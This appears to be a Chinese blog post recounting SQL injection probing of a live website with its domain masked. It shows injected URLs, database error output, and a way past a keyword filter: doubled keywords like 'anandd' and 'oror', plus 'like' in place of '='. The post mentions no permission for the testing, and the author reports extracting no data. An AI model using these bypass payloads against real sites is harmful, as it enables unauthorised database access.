过滤'and','or' ''' '*' '=' ‘select’下的注入

遇到一个站:http://www.马赛克.net/intro.aspx?id=6

加了单引号  http://www.马赛克.net/intro.aspx?id=6‘  页面无变化

加了双引号   http://www.马赛克.net/intro.aspx?id=6"  报错

符串的语法错误 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6" ) order by id_sort' 中。

可以看到  注入点 在()中

测试   and 1=1     and 1=2   or 1=1   报错

语法错误。 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6  11 )' 中

可以看到   and  or  = 等关键字 被”吃掉了“

经测试  并没有进行循环查找过滤 and or 等字符

绕后方法   anandd   oror     And(大小写)

http://www.马赛克.net/intro.aspx?id=6 anandd 1=1  返回正常

http://www.马赛克.net/intro.aspx?id=6 anandd 1=2  返回也正常

因为知道 = 也被“吃掉”了  所以用 'like' 代替

http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 1  返回正常

http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 2  返回也正常

--------------------

http://www.马赛克.net/intro.aspx?id=6 anandd  exists(select id from sysobjects)   报错  select 也被“吃掉”了

语法错误。 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6 and exists( id from sysobjects) )' 中。

紧接着,我在在数据库版本上花了很多时间   第一直觉认为是 aspx + mssql 组合

然后在绕过语句上测试了很多,无法绕后,后来从猜测数据库类型开始猜    得出结论是 access数据库

--------------------

知道了绕过方法,和数据库类型,剩下的就是猜数据了,不过由于字典不给力  并未猜出任何表(除了报错时显示的“tab_intro_info”),任何数据

由于表的组合比较变态  tab_intro_info 也就没有继续猜下去

原文地址:https://www.cnblogs.com/mrhonest/p/9253406.html